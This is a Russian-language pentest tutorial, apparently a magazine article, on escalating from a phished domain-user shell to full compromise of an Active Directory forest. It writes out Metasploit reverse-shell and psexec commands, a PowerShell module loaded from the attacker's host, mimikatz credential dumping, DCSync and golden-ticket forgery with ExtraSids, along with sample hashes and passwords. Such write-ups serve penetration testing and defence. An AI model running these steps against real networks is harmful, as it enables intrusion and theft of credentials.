Содержание статьи
Active Directory — явление, довольно часто встречающееся при тестировании безопасности крупных компаний. Нередко попадается не одинокий домен в единственном лесу, а более ветвистая и более интересная структура. Поэтому сегодня мы поговорим о том, как проводить разведку, изучать структуру леса, рассмотрим возможности поднятия привилегий. А завершим полной компрометацией всего леса предприятия!
О чем на этот раз
Не секрет, что многие, если не большинство крупных компаний используют службу каталогов Active Directory от небезызвестной MS. Причина достаточно очевидна. Такой подход позволяет многие вещи автоматизировать, интегрировать все в одну слаженную структуру и облегчить жизнь как IT-отделу, так и всем сотрудникам.
Как правило, если организация довольно большая, то, развиваясь, она может приобретать другие (более мелкие) компании, устраивать слияния, расширения и прочие радости крупного бизнеса. Все это сказывается на структуре леса AD, который пополняется новыми деревьями и разрастается вширь и вглубь. Именно о такой разветвленной структуре мы и будем разговаривать. А начнем, по традиции, с небольшого теоретического введения.
В дремучих лесах AD
Бегло рассмотрим ключевые понятия Active Directory, которые постоянно будут использоваться в дальнейшем. Начнем от наименьшей структурной единицы AD — домена.
Доменом можно назвать логическую группу (пользователей, хостов, серверов и так далее), которые поддерживают централизованное администрирование.
Деревом называется набор доменов, которые используют общее пространство имен (по аналогии с обычным DNS). Важно, что дочерний домен автоматически получает двухсторонние доверительные отношения с родительским доменом.
Доверие — это своеобразное соглашение между двумя доменами, устанавливающее разрешения на доступ к тем или иным объектам или ресурсам.
Ну а лес, в свою очередь, является наиболее крупной структурой в Active Directory и объединяет все деревья. В результате все деревья в лесу обычно объединены двунаправленными доверительными отношениями, что позволяет пользователям в любом дереве получать доступ к ресурсам в любом другом, если они имеют соответствующие разрешения и права.
По умолчанию первый домен, создаваемый в лесу, автоматически становится его корневым доменом.
Завершив теоретический экскурс, можно переходить к практике, чем и займемся. При этом мы будем предполагать, что уже получен базовый доступ с небольшими пользовательскими привилегиями. Допустим, что социнженерия дала свои плоды и после отправки специально сформированного письма (например, с документом во вложении) кто-то открыл документ и мы получили шелл.
Проверяем боекомплект
Перед любыми боевыми действиями неплохо вначале осмотреть свой инструментарий и определиться, что будет использоваться. Для изучения Windows-окружения самый удобный инструмент на сегодняшний день — это PowerShell. Почему? Да потому, что он везде установлен (начиная с Windows 7/2008R2), позволяет работать и выполнять разнообразные командлеты рядовым пользователям и глубоко интегрирован в ОС.
Дефолтная политика, которая запрещает выполнение сторонних (неподписанных) PowerShell-скриптов, не является серьезной защитной мерой. Это просто защита от случайного запуска по двойному клику и очень легко обходится. По большому счету PowerShell — это целый фреймворк для постэксплуатации Windows. Естественно, по этой причине пентестеры уже несколько лет активно его используют, и написано множество различных модулей (скриптов), которые помогают автоматизировать те или иные действия.
Мы будем использовать лишь один такой модуль — PowerView, который входит в набор PowerTools. Изначально он создавался в рамках известного проекта Veil, но не так давно, после выхода впечатляющего фреймворка PowerShell Empire (который очень динамично развивается и требует отдельного рассмотрения), был перемещен и теперь является подпроектом PS Empire.
PowerView служит одновременно и заменой всех консольных net*-команд в Windows, и средством изучения AD. Отдельно стоит еще раз подчеркнуть, что большинство возможностей доступны с правами обычного пользователя.
Выдвигаемся на исходную
Напомню, что базовый доступ у нас уже есть, и для упрощения будем считать, что у нас есть шелл Meterpreter с правами рядового доменного пользователя. В этом году работа с PS в Метасплоите стала значительно удобнее, появилось несколько специализированных пейлоадов, чем и воспользуемся. Чтобы не потерять имеющуюся сессию, создадим новую, используя механизм payload_inject.
Для этого выполняем:
msf > use exploit/windows/local/payload_inject
В качестве полезной нагрузки, конечно же, выбираем powershell
:
msf exploit(payload_inject) > set PAYLOAD windows/powershell_reverse_tcp
Теперь можно сразу указать модуль, который нужно импортировать в случае успешного запуска:
msf exploit(payload_inject) > set LOAD_MODULES http://10.54.0.181/powerview.ps1
Отмечу, что при желании можно даже указывать полный адрес до GitHub, в нашем случае PowerView будет скачиваться жертвой прямо с хоста атакующего.
Последним штрихом необходимо указать номер уже имеющейся сессии:
msf exploit(payload_inject) > set SESSION 1
Запускаем на выполнение (результат на рис. 1).
Ситуационная осведомленность
Теперь, когда у нас есть интерактивный PowerShell, можно внимательно изучить обстановку. Первым делом пригодятся две следующие команды:
- Get-NetForestDomain — покажет все домены в лесу (рис. 2);
- Get-NetDomainTrust — покажет доверительные отношения домена, в котором мы сейчас находимся (рис. 3).
Так как лес у нас не очень маленький и по полученному списку доменов не очень понятно, какова его структура, то можно попробовать составить наглядную визуальную карту.
Для этого сначала сохраним карту доверительных отношений в CSV-файл:
Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
Этот командлет сперва изучит текущий домен, а затем рекурсивно пробежится по всем доверительным отношениям с каждым доменом, до которого сможет дотянуться.
Результат будет сохранен в CSV-файл, где будут описаны все домены и все взаимоотношения. Затем любым удобным способом забираем файл (или его текстовое содержимое) себе.
Теперь нам понадобится скрипт DomainTrustExplorer. Запускаем его и передаем в качестве параметра CSV-файл:
python trust_explorer.py trusts.csv
Получим своеобразный шелл, посмотреть все команды можно, набрав help
. Нас интересует самая полезная его фича — это возможность сохранить собранные данные в формате GraphML. Работает одной командой:
TrustExplore> graphml_dump
Наносим на карту
В результате получаем файл trusts.csv.graphml
, этот формат уже можно открывать в бесплатном редакторе yEd. Но здесь нужно совершить несколько действий, чтобы получить красивую схему. После открытия файла с расширением .graphml следует сразу перейти в Edit -> Properties Mapper. Появится окно настроек, в котором слева надо выбрать New Configuration (Node) и нажать зеленый плюс справа (см. рис. 4)
Жмем кнопку Apply и выбираем в том же окне раздел New Configuration (Edge), и точно так же нужно добавить новую запись, нажав на зеленый плюс справа (см. рис. 5).
Теперь еще раз Apply, кнопка OK — окно закроется. Остался последний шаг, идем в меню Tools -> Fit Node to Label. И теперь в меню Layout можно выбирать любой понравившийся режим, например Hierarchical или Tree. При каждом изменении схема будет автоматически перестраиваться. В нашем случае получаем рис. 6.
На схеме наглядно изображен весь лес, напомню, что на данный момент мы обладаем привилегиями доменного пользователя в домене DEV.HIGH-SEC-CORP.LOCAL
. Здесь и далее используются вымышленные имена доменов и поддоменов, любые совпадения случайны. Теперь у нас есть и графическая карта леса, и информация о доверительных отношениях. Наша цель — корень леса, поэтому самое время начать понемногу поднимать свои привилегии.
INFO
Red vs Blue: Modern Active Directory Attacks & Defense — это самый яркий доклад по атакам на AD последних лет, который провел Шон Меткалф (Sean Metcalf) на конференции DerbyCon в этом году.
Вражеский личный состав
Имея текущую PowerShell-сессию (с импортированным модулем PowerView), можно также подробно изучить доменные группы и доменных пользователей.
Смотрим, кто входит в группу доменных админов в нашем текущем домене:
Get-NetGroup -Domain "dev.high-sec-corp.local" -GroupName "Domain Admins" -FullData
...
member: {
CN=john smedley,CN=Users,DC=dev,DC=high-sec-corp,DC=local,
CN=Administrator,CN=Users,DC=dev,DC=high-sec-corp,DC=local
}
...
Видим, что присутствует некий john. Подробную информацию о любом доменном пользователе можно получить, используя другой командлет:
Get-NetUser -UserName *john*
Определившись с жертвой, можно даже попробовать поискать следы ее присутствия в нашем домене:
Invoke-UserHunter -Domain "dev.high-sec-corp.local" -UserName john
UserDomain : dev.high-sec-corp.local
UserName : john
ComputerName : FILESRV.dev.high-sec-corp.local
IP : 192.168.10.242
SessionFrom : 192.168.10.52
Что при этом произошло? Функция Invoke-UserHunter
предназначена для поиска пользователей в рамках домена. Она запускает Get-NetSessions
и Get-NetLoggedon
против каждого сервера (используя специальные API-функции NetSessionEnum
и NetWkstaUserEnum
) и сравнивает результаты с указанными при запуске логинами. Очень удобная вещь, работает достаточно точно и опять же с правами рядового доменного пользователя.
Итак, мы нашли, где в данный момент находится доменный администратор.
Идем в наступление
Для дальнейших действий необходима учетка локального админа. Способов поднятия привилегий до уровня локального администратора — множество. Здесь и GPP, и Unattended installations, и атаки вида LDAP relay с использованием бесценной утилиты Intercepter-NG, и многое другое (подробнее про различные способы можно прочитать в ][ #191 «Качаем права. Поднимаем привилегии до админа и выше»).
Будем считать, что аккаунт локального админа (support1:megAPa$$
) мы получили. Самое простое, что можно сделать дальше, — это попробовать получить доступ к хосту, где залогинен доменный админ. Для этого воспользуемся модулем psexec, входящим в Метасплоит.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.10.52
msf exploit(psexec) > set SMBUSER support1
msf exploit(psexec) > set SMBPASS megAPa$$
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 10.54.0.191
msf exploit(psexec) > set LPORT 8080
Здесь есть небольшой нюанс: напрямую жертву мы не видим (обычно она находится за натом), поэтому перед запуском psexec необходимо добавить маршрут в сеть жертвы:
msf exploit(psexec) > route add 192.168.10.0 255.255.255.0 1
Последнее значение — это номер сессии, сквозь которую и будет заворачиваться трафик. Ну а теперь можно и запускать:
msf exploit(psexec) > exploit
В результате получаем шелл сразу с правами NT SYSTEM.
Берем пленных
Теперь, имея новый шелл, было бы неплохо воспользоваться возможностями известной утилиты mimikatz. Для этого вначале проверяем разрядность ОС:
meterpreter > sysinfo
В моем случае это х64. Затем выбираем любой подходящий x64-процесс:
meterpreter > ps
И мигрируем в него:
meterpreter > migrate 460
Можно использовать, например, LSASS или winlogon. Далее загружаем модуль (в память жертвы):
meterpreter > load kiwi
И ищем учетку пользователя john:
meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
DEV john daPa$$w0rd
В случае успеха мы получаем пароль доменного админа для нашего текущего домена DEV.
Берем под контроль укрепрайон
В небольших компаниях на этом можно и заканчивать работу. Но у нас все только начинается. Теперь нам понадобится полная версия mimikatz (функциональность, реализованная в Метасплоите, хороша, но часто не успевает за новыми фичами основной версии). Дело в том, что недавно в mimikatz была добавлена фича, получившая название DCSync. Ранее, как мы помним, для извлечения хешей с домен-контроллера нужно было получить доступ либо к нему (а точнее, к базе NTDS.dit), либо к актуальной резервной копии. Но автор mimikatz реализовал интересный прием, позволяющий удаленно сграбить интересующие нас данные. Происходит запрос к контроллеру домена на репликацию учетных данных пользователя, с использованием службы репликации каталогов (DRS), отсюда и название фичи.
Естественно, подобные действия требуют высоких привилегий, но пароль доменного администратора у нас-то уже есть. Запускаем (например, можно сделать migrate в процесс explorer.exe, принадлежащий пользователю john, и дальше запустить cmd командой shell).
mimikatz # lsadump::dcsync /user:DEV\krbtgt
[DC] 'dev.high-sec-corp.local' will be the domain
[DC] 'DEV-DC02.dev.high-sec-corp.local' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
SAM Username : krbtgt
Password last change : 10.10.2015 17:53:13
Object Security ID : S-1-5-21-3576879279-70744307-2249533442-502
Credentials:
Hash NTLM: 1a3671958abf785fe7b32eaaa20b9020
Итак, получен хеш для krbtgt. Дело в том, что на каждом домен-контроллере запущен сервис KDC (Kerberos Distribution Center), который обрабатывает все запросы на тикеты. При этом в качестве сервисного аккаунта используется локальный дефолтный аккаунт krbtgt. Именно эта учетка используется для шифрования и подписывания всех Kerberos-тикетов в отдельно взятом домене. Для многих администраторов krbtgt покрыт своеобразным мистическим налетом, и его стараются попросту не трогать. Поэтому в большинстве случаев этот аккаунт не меняется с момента поднятия AD.
Если подобный хеш попадет в руки злоумышленников — пиши пропало. Они без труда смогут создавать свои Kerberos «голден тикеты». Эти тикеты предоставят атакующим доступ к чему угодно работающему по Kerberos, при этом не нужно даже быть участниками домена. Поэтому аккаунт krbtgt — это ключ от Kerberos в любом домене; обладая его хешем, можно контролировать весь домен, выписывать себе Kerberos-тикеты с любыми полномочиями, на длительный срок действия (десять лет).
Полный контроль над лесом
Теперь, после компрометации дочернего домена, остается последний рубеж — корень леса. В этом деле нам снова пригодится mimikatz и еще одна его фича, получившая название ExtraSids. Эта фича, позволяет указать допзначение SID из других доменов при формировании голден тикета. При этом устанавливается значение ExtraSids в структуре KERB_VALIDATION_INFO, во время формирования керберос тикета. Идея всего этого в том, что компрометация любого дочернего домена в лесу означает компрометацию родительского домена, а значит, и компрометацию всего леса.
Для проведения подобной атаки нам понадобится:
- krbtgt-хеш для дочернего домена DEV (уже получили);
- SID домена DEV (тоже получили в том же выводе, где и krbtgt);
- дополнительный, он же экстра SID группы энтерпрайз-админов (можно получить без особого труда).
Итак, получаем недостающий фрагмент, для этого в очередной раз воспользуемся PowerShell и модулем PowerView:
Convert-NameToSid high-sec-corp.local\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
И здесь нужно заменить -502 на -519, чтобы вышел SID группы Enterprise Admins для корневого домена. Все данные получены, выполняем следующую конструкцию:
kerberos::golden
/user:Administrator
/krbtgt:1a3671958abf785fe7b32eaaa20b9020
/domain:dev.high-sec-corp.local
/sid:S-1-5-21-3576879279-70744307-2249533442
/sids:S-1-5-21-2941561648-383941485-1389968811-519
/ptt
Теперь проверяем результат наших действий. До:
C:\Users\john>dir \\PRIMARY-DC.high-sec-corp.local\C$
Access is denied.
После:
C:\Users\john>dir \\PRIMARY-DC.high-sec-corp.local\C$
Volume in drive \\PRIMARY-DC.high-sec-corp.local\C$ has no label.
Volume Serial Number is E478-32C1
Directory of \\PRIMARY-DC.high-sec-corp.local\C$
...
Контрольный выстрел
Получив и использовав тикет с extraSID’ом, можно применить уже рассмотренную технику DCSync для того, чтобы достать хеши с корневого домена. Но здесь есть небольшое отличие: так как мы решили замахнуться на другой домен, то, помимо параметра user, необходимо указать еще и корневой домен.
Команда для mimikatz выходит следующая:
mimikatz # lsadump::dcsync
/user:HIGH-SEC-CORP\krbtgt
/domain:high-sec-corp.local
Если корневой домен держится на нескольких контроллерах, то можно добавить опцию /dc:
, указав полное имя (FQDN) контроллера. В результате мы получаем хеш krbtgt
с корневого домен-контроллера. А это значит, что с этого момента весь лес скомпрометирован и атакующий может создавать себе практические любые Kerberos-тикеты.
WWW
Наверное, лучший ресурс, раскрывающий все аспекты защиты и уязвимостей AD, —
adsecurity.org. Автор этого блога Шон Меткалф (Sean Metcalf) занимается и защитой и вопросами безопасности, связанными с AD в крупном энтерпрайзе.
Разбор полетов
В начале существования Active Directory границами ее безопасности считались домены. Администраторы одного леса совсем не обязательно должны были доверять друг другу и могли быть разделены на домены. Но со временем ситуация изменилась, в начале 2000-x появились различные уязвимости, затрагивающие AD (например, MS02-001). В результате граница безопасности для Active Directory была смещена с домена на лес. И хотя мысль о том, что каждый отдельно взятый домен является границей безопасности, сильно ошибочна, такое мнение по-прежнему часто встречается на практике.
Защита крупного леса AD — это комплексная и непростая задача, которая состоит из множества деталей. Это постоянный мониторинг как логов, так и сетевой активности, грамотные политики и многое другое. И при всем этом следует помнить, что компрометация одного доменного администратора, а значит, и какого-либо единичного домена может моментально привести к компрометации всего леса.